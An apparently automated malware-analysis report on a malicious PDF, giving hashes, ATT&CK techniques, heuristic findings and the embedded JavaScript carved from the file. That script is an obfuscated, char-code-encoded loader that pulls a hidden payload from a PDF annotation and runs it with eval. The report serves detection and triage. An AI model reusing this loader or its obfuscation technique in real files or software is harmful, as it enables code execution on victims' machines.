Malicious PDF — malware analysis report

Static analysis result for SHA-256 80ca8c0204ab1f3d…

MALICIOUS

PDF

12.9 KB First seen: 2026-05-09
MD5: 9a89b061dcc74c30de50c4f54e0a0ee0 SHA-1: db13a0e5d59c8f2ab221a1dbbb464a5b665c692f SHA-256: 80ca8c0204ab1f3d72c2b46ac06526c5fdae7ae19452f37fdc434507cbbc02f8
116 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The PDF file contains embedded JavaScript that utilizes String.fromCharCode for obfuscation. This script is designed to exploit a PDF vulnerability, leading to the execution of further malicious code. The ML classifier strongly indicates maliciousness, and the JavaScript's behavior suggests it acts as a downloader for a secondary payload.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 4

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
            for (var i=0; i < list.length; i++) {
            result +=  String.fromCharCode(list[i] - jump);
        }
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0005_000.js pdf-javascript-stream PDF /JS object 5 at offset 0x107 916 bytes
SHA-256: f048286b2dfe205330e162117bc9e2e9406092389e25aa91660890d79cb205b6
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
sourceCode = "118,97,114,32,122,59,32,118,97,114,32,121,59,32,122,32,61,32,121,32,61,32,97,112,112,46,100,111,99,59,32,10,9,32,121,32,61,32,48,59,32,9,32,122,46,115,121,110,99,65,110,110,111,116,83,99,97,110,32,40,32,41,59,32,121,32,61,32,122,59,118,97,114,32,112,32,61,32,121,46,103,101,116,65,110,110,111,116,115,40,32,123,32,32,110,80,97,103,101,58,32,48,32,125,41,32,59,118,97,114,32,115,32,61,32,112,91,48,93,46,115,117,98,106,101,99,116,59,32,118,97,114,32,108,32,61,32,115,46,114,101,112,108,97,99,101,40,47,122,47,103,44,32,39,37,39,41,59,32,115,32,61,32,32,117,110,101,115,99,97,112,101,32,40,108,41,32,59,101,118,97,108,40,115,41,59,32,115,32,61,32,39,39,59,32,122,32,61,32,49,59"; 
function decrypt(str, jump){
var result = "";
var list = str.split(',');
        for (var i=0; i < list.length; i++) {
            result +=  String.fromCharCode(list[i] - jump);
        }
        return result;
        }

Open this report in the interactive analyzer, or submit your own file for analysis.